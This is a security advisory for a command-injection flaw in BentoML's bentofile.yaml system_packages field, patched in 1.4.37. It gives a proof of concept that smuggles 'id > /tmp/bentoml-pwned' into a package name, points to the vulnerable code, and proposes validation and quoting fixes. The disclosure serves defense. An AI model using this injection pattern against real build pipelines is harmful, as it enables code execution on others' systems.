| Package | Affected versions | Patched versions |
|---|---|---|
| bentoml | < 1.4.37 | 1.4.37 |
| bentoml | < 1.4.37 | 1.4.37 |
The docker.system_packages field in bentofile.yaml accepts arbitrary strings that are interpolated directly into Dockerfile RUN commands without sanitization. Since system_packages is semantically a list of OS package names (data), users do not expect values to be interpreted as shell commands. A malicious bentofile.yaml achieves arbitrary command execution during bentoml containerize / docker build.
src/_bentoml_sdk/images.py:85-89 — .format(packages=" ".join(packages)) into shell commandsrc/bentoml/_internal/container/frontend/dockerfile/templates/base_debian.j2:13 — {{ __options__system_packages | join(' ') }}src/bentoml/_internal/bento/build_config.py:174 — No validation on system_packagessrc/bentoml/_internal/container/frontend/dockerfile/__init__.pyAll versions supporting docker.system_packages in bentofile.yaml, confirmed on 1.4.36.
service.py:
import bentoml
@bentoml.service
class MyService:
@bentoml.api
def predict(self) -> str:
return "hello"
bentofile.yaml:
service: "service:MyService"
docker:
system_packages:
- "curl && id > /tmp/bentoml-pwned #"
bentoml build
~/bentoml/bentos/my_service/<tag>/env/docker/Dockerfile. Line 41 will contain:RUN apt-get install -q -y -o Dpkg::Options::=--force-confdef curl && id > /tmp/bentoml-pwned #
bentoml containerize my_service:<tag> will execute id > /tmp/bentoml-pwned as root during the Docker build.The system_packages field values are treated as package names (data) by the user but are string-formatted directly into shell commands in the Dockerfile:
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free# images.py:85-89
self.commands.append(
CONTAINER_METADATA[self.distro]["install_command"].format(
packages=" ".join(packages) # No escaping
)
)
Where install_command is "apt-get install -q -y -o Dpkg::Options::=--force-confdef {packages}".
A bash_quote filter (wrapping shlex.quote) exists in the codebase and is registered in both Jinja2 environments, but it is only applied to environment variable values, never to system_packages.
bentofile.yaml. Anyone who clones and builds it gets arbitrary code execution during docker build.bentoml containerize on PRs that modify bentofile.yaml are vulnerable.bentofile.yaml, this could achieve RCE on cloud infrastructure.Add a regex validator to system_packages in build_config.py:
import re
VALID_PACKAGE_NAME = re.compile(r'^[a-zA-Z0-9][a-zA-Z0-9.+\-_:]*$')
def _validate_system_packages(instance, attribute, value):
if value is None:
return
for pkg in value:
if not VALID_PACKAGE_NAME.match(pkg):
raise BentoMLException(
f"Invalid system package name: {pkg!r}. "
"Package names may only contain alphanumeric characters, "
"dots, plus signs, hyphens, underscores, and colons."
)
system_packages: t.Optional[t.List[str]] = attr.field(
default=None, validator=_validate_system_packages
)
Apply shlex.quote() to each package name before interpolation in images.py:system_packages() and apply the bash_quote Jinja2 filter in base_debian.j2.